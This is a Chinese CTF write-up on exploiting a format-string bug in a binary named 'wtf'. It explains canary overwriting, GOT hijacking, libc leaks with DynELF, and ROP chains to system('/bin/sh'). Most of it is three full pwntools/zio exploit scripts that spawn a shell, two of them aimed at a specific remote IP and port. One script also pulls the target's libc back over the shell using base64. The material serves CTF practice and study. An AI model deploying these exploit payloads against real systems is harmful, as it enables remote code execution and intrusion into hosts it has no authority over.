WTF
第一个格式化字符串
第一个感觉就是挺好用的
利用格式化字符串可以用你的输入改写任意地址的内容,改写的地址和值都是你的字符串提供的。
感觉和canary配合特别好。。。通过改写canary的就可以不断的触发canary,然后不断的跳转
思路
整个的思路是:
首先利用第一个格式化字符串改写canary的值为main或者“leave message”的地址(这样就可以持续使用格式化字符串),然后触发canary,这样就不断进入循环,就可以一直输入字符串,为后面做准备
在第一个格式化字符串的时候,还可以顺便泄露地址,一举两得
然后,改写got表,改的是exit()的内容——这样在后面输入字符串的时候写一个%p就可以运行到exit()
后面就有两种拿到shell 的方法了:
- oneshot
这个要靠运气,而且不一定成功
就是直接把exit()的地址写为一个含有/bin/sh并且后面调用了execv()的地址
就像这个样子 - 构造ROP链
把exit()的地址改成pop——ret的地址,然后在触发exit()的时候利用rop,先pop出原来的没有用的数据,ret到pop——rdi——ret的地址,把/bin/sh地址pop到rdi(64位下第一个参数寄存器)中,然后再ret到system
关于利用格式化字符串改写某个地址:
- $mhn
m的值要自己去看
从rsp开始依次是:6,7,8,9......
m的值,取决于你在哪个地方写入的是你要改写的地址 - 字符串的写法
payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
- 注意,一次不能写太大数
所以有可能是只能用$hhn
因为写入是靠%.宽度
来完成的,如果太大了可能回传的数据太大,然后就断了,不推荐 - 循环写入——这样可以完成一个64位的修改
def change(io,target,new_value):
byte_dic=[]
for i in range(8):
cur = new_value &0xff
byte_dic.append(cur)
new_value = new_value>>8
for i in range(8):
if byte_dic[i] ==0:
continue
io.recvuntil('msg:')
#payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
#payload_change += 'x01'*(0x18-len(payload_change))
payload_change = payload_change.ljust(0x18,'l')
payload_change += p64(0x601060+i)
print 'byte_dic: '+str(hex(byte_dic[i]))
io.send(payload_change)
注意:
got表
改写的,泄露的都是got表项。。。
每次都不记得
sendline? send?
这个要看接受的函数
看接受函数判断结束的标志是什么
一举多得
先看代码
payload=l64(0x601020)
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
payload+='x00'*(0x18-len(payload))
payload+=l64(0x601040)
io.write(payload)
在第一次输入name的时候,就输入我们要泄露的地址,然后在后面的格式化字符串的地方泄露对应地址的位置m
其实直接在格式化字符串里面写也没有问题
x7f
的确定
test=io.read_until('x7f')
test=test[-6:]+'x00'*2
这个x7f
的确定是看有泄漏和没有泄露的对比,找到区别——泄露的地址要通过对比才能看到是在返回数据中的哪个地方
PS: DynELF——泄露地址——在没有libc的时候
//主函数
try :
d = DynELF(leak, libc_base )
system_addr = d.lookup('system')
except:
return
// leak函数
def leak(addr):
global r
io=r
if addr<=0x400100:
return 'x00'
io.recvuntil('msg: ')
payload='%7$s^_'.ljust(8,'x00')
payload+=p64(addr)
payload=payload.ljust(0x19,'f')
io.sendline(payload)
dd=io.recvuntil('leave ')
if dd.find('^_') !=-1:
if dd.find('^_') ==0:
print "cur->00"
res='x00'
else:
res=dd[:dd.find('^_')]
else :
if dd.find('info')!=-1:
raw_input('???')
res='x00'
return res
DynELF函数
反复执行leak函数,传入一个基准地址,这里传入的是 libc_base
然后就会遍历got表,找到system——这个在没有libc的时候很有效
代码
我的代码
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
proc_name = './wtf'
proc_elf = ELF(proc_name)
print proc_elf.checksec()
context.log_level = 'debug'
io = process(proc_name)
print proc.pidof(io)[0]
raw_input('debug')
canary_addr = 0x601020
libc6_read = 0x00000000000F69A0
libc6_system = 0x0000000000045380
libc6_binsh = 0x018C58B
#libc6_pop2 =
#libc6_
pop2_ret = 0x400A81
pop_rdi_ret = 0x400a83
lib2_read = 0x00000000000EB6A0
lib2_system = 0x0000000000046590
def change(io,target,new_value):
byte_dic=[]
for i in range(8):
cur = new_value &0xff
byte_dic.append(cur)
new_value = new_value>>8
for i in range(8):
if byte_dic[i] ==0:
continue
io.recvuntil('msg:')
# payload_change = '%.'+str(byte_dic[i])+'d'+'%9$hn'
payload_change = '%%%dc'%(byte_dic[i])+'%9$hn'
#payload_change += 'x01'*(0x18-len(payload_change))
payload_change = payload_change.ljust(0x18,'l')
payload_change += p64(0x601060+i)
print 'byte_dic: '+str(hex(byte_dic[i]))
io.send(payload_change)
io.recvuntil('input your name:')
io.sendline(p64(canary_addr))
io.recvuntil('leave a msg:')
payload = '%.'+str(0x08c5)+'d'+'%12$hn'+'%9$s'
payload += 'x00'*(0x18 - len(payload))
payload += p64(0x601040)
io.send(payload)
read_addr = io.recvuntil("x7f")
read_addr = read_addr[-6:]+'x00'*2
read_addr = u64(read_addr)
print hex(read_addr)
print '####################'
#read_addr = u64(read_addr)
print 'read addr :'+str(hex( read_addr))
system_addr = read_addr + libc6_system - libc6_read
print 'system addr: '+ str(hex(system_addr))
binsh_addr = read_addr + libc6_binsh - libc6_read
target = 0x400740
change(io,target,pop2_ret)
io.recvuntil('msg:')
payload3 = '%p'
payload3 = payload3.ljust(0x8,'l')
payload3 += p64(pop_rdi_ret)
payload3 += p64(binsh_addr)
payload3 += p64(system_addr)
payload3 = payload3.ljust(0x20,'l')
io.send(payload3)
io.recvuntil('info?')
io.interactive()
simp1e
#coding:utf-8
from pwn import *
#__author__='simp1e'
from pwn import *
import struct
import binascii
PROC_NAME='./wtf'#PORC_NAME
proc_elf=ELF(PROC_NAME)
print proc_elf.checksec()
context.log_level = 'debug'
for i in proc_elf.libs:
if i.find('libc.so.6')!=-1:
LOCAL_LIBC_PATH=i
L_LIBC=ELF(LOCAL_LIBC_PATH)
rop_call_addr=0x4014A0
rop_pop_addr=0x4014B6
got_atoi=0x601CD0
plt_puts=0x601c90
plt_rea=0x0400760
offset_atoi=0x36E70
got_read=0x601CA8
glpt=0x06020a0
def leak(addr):
global r
io=r
if addr<=0x400100:
return 'x00'
io.recvuntil('msg: ')
payload='%7$s^_'.ljust(8,'x00')
payload+=p64(addr)
payload=payload.ljust(0x19,'f')
io.sendline(payload)
dd=io.recvuntil('leave ')
if dd.find('^_') !=-1:
if dd.find('^_') ==0:
print "cur->00"
res='x00'
else:
res=dd[:dd.find('^_')]
else :
if dd.find('info')!=-1:
raw_input('???')
res='x00'
return res
def change_qword(io,ptr,value):
byte_dic=[]
for i in range(8):
cur=value &0xff
byte_dic.append(cur)
value = value >> 8
print hex(cur)
for i in range(8):
if byte_dic[i]==0:
continue
io.recvuntil('msg: ')
pay1='%%%dc'%(byte_dic[i]) + '%8$hhn'
pay1=pay1.ljust(16,'l')
print len(pay1)
pay1+=p64(ptr+i)
io.sendline(pay1)
def ss(io,buf):
io.recvuntil('msg: ')
io.sendline(buf)
def exp(io,choice,libc):
ll=log
ll.debug('get_libc_offset')
for i in libc.search('/bin/sh'):
offset_bin_sh=i
break
offset_system=libc.symbols['system']
offset_one_function=libc.symbols['atoi']
#make(io,'1'*24)
ebp = 'x20x99x04x08'
libc = 'x5cx98x04x08' #__libc_start_main
retaddr1 = 'xa0x83x04x08' # write
retaddr2 = 'xbex85x04x08' #pop;pop;pop;ret
pop_ebp_ret = 'xc0x85x04x08'
retaddr3 = 'x60x83x04x08' # read
retaddr4 = 'xd2x85x04x08' #leave ret
if choice==1:
print "attach %d"%(proc.pidof(io)[0])
raw_input('debug:')
io.recvuntil('name: ')
io.sendline('1')
#---------------------------
io.recvuntil('msg: ')
pay1='%%%dc'%(0x8) + '%8$hhn'
pay1=pay1.ljust(16,'l')
print len(pay1)
pay1+=p64(0x601021)
io.sendline(pay1)
io.recvuntil('msg: ')
pay1='%%%dc'%(0xc5) + '%8$hhn'
pay1=pay1.ljust(16,'l')
print len(pay1)
pay1+=p64(0x601020)
io.sendline(pay1)
#------------------------kill exit
io.recvuntil('msg: ')
pay1='%%%dc'%(0x8) + '%8$hhn'
pay1=pay1.ljust(16,'l')
print len(pay1)
pay1+=p64(0x601061)
io.sendline(pay1)
io.recvuntil('msg: ')
pay1='%%%dc'%(0xc5) + '%8$hhn'
pay1=pay1.ljust(16,'l')
print len(pay1)
pay1+=p64(0x601060)
io.sendline(pay1)
#-------------------kil strstr
libc_base=u64(leak(proc_elf.got['__libc_start_main']).ljust(8,'x00'))
print 'libc_base -0x%x'%(libc_base)
code_base=0x400000
try :
d = DynELF(leak, libc_base )
system_addr = d.lookup('system')
except:
return
print 'system->0x%x'%(system_addr)
popret=0x400a80
poprdx=0x400a7a
change_qword(io,proc_elf.got['exit'],popret)
change_qword(io,proc_elf.got['setvbuf'],system_addr)
ss(io,'%10$lx'.ljust(8,'x00')+'/bin/sh'+'x00'*10)
ddt=io.recvuntil('lea')[:-3]
addrbinsh=int(ddt,16)+0x60-0xa8
change_qword(io,0x601090,addrbinsh)
ss(io,p64(poprdx)*3+p64(poprdx)[:-2])
io.recv()
raw_input('=============')
io.sendline('$p$p$p$p'+p64(popret+4)+p64(0x400896)+p64(addrbinsh))
io.interactive()
cod='base64 /lib64/libc.so.6'
io.sendline(cod)
fp=open('remote.libc','w')
while 1:
data=io.recv()
if len(data)<0x1000 :
break
fp.write(data)
fp.close()
# io.interactive()
if __name__=='__main__':
print 'Press 1 to test on local
Press 2 to remote pwn
Press 3 to test nc on local'
try:
choice=int(raw_input('input >').strip('
'))
except:
print 'Press error,Choice default set to 1'
choice=1
if choice==1:
r= process(PROC_NAME)
exp(r,choice,L_LIBC)
elif choice==2:
r= remote('106.75.93.227' ,10000,timeout=80 )
try:
R_LIBC=ELF('./remote_libc')
except:
R_LIBC=L_LIBC
print 'Alert! remote libc no found,default set to local libc'
exp(r,choice,R_LIBC)
elif choice==3:
while 1:
try:
r=remote('127.0.0.1',3333)
exp(r,choice,L_LIBC)
except:
r.close()
彭神
from zio import *
import struct
target = ('106.75.93.227',10000)
io=zio(target, timeout=10000, print_read=COLORED(RAW, 'red'), print_write=COLORED(RAW, 'green'))
raw_input("go?")
payload=l64(0x601020)
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(0x0983)+'d'+'%12$hn'+' %9$s%10$ld'
payload+='x00'*(0x18-len(payload))
payload+=l64(0x601040)
io.write(payload)
test=io.read_until('x7f')
test=test[-6:]+'x00'*2
read=struct.unpack("<Q",test)[0]
print hex(read)
syscall=read+0xe
test=io.read(15)+
print test
stack=int(test,10)
print hex(stack)
payload=l64(0x0)
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload=l64(0x0400A7C)
payload+=l64(0x601040)
payload+=l64(0x200)
payload+=l64(stack-0x88)
io.write(payload)
payload=l64(stack-0x90)
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%12$n'
payload+='x00'*(0x20-len(payload))
io.write(payload)
payload=l64(stack-0x88)
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%9$n'+'%.'+str(0x400a60)+'d'+'%12$n'
payload+='x00'*(0x18-len(payload))
payload+=l64(stack-0x8c)
io.write(payload)
rbp=stack-0xb8
rbp=rbp%0x10000
payload=l64(stack-0x1b0)
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(rbp)+'d'+'%12$hn'
io.write(payload)
payload=l64(0x601020)
io.read_until('input your name: ')
io.write(payload)
io.read_until('leave a msg: ')
payload='%.'+str(0x0a1c)+'d'+'%12$hn'
payload+='x00'*(0x20-len(payload))
c2=raw_input("go?")
io.write(payload)
payload=l64(0x0400A7A)
payload+=l64(0x0)
payload+=l64(0x1)
payload+=l64(0x601040)
payload+=l64(0x3b)
payload+=l64(0x601b00)
payload+=l64(0x0)
payload+=l64(0x400a60)
payload+=l64(0x0)
payload+=l64(0x0)
payload+=l64(0x1)
payload+=l64(0x601b08)
payload+=l64(0x0)
payload+=l64(0x0)
payload+=l64(0x601b00)
payload+=l64(0x400a60)
raw_input('go')
io.write(payload)
raw_input('go')
io.write('/bin/sh'+'x00'+l64(syscall)+'x00'*0x2b)
io.interact()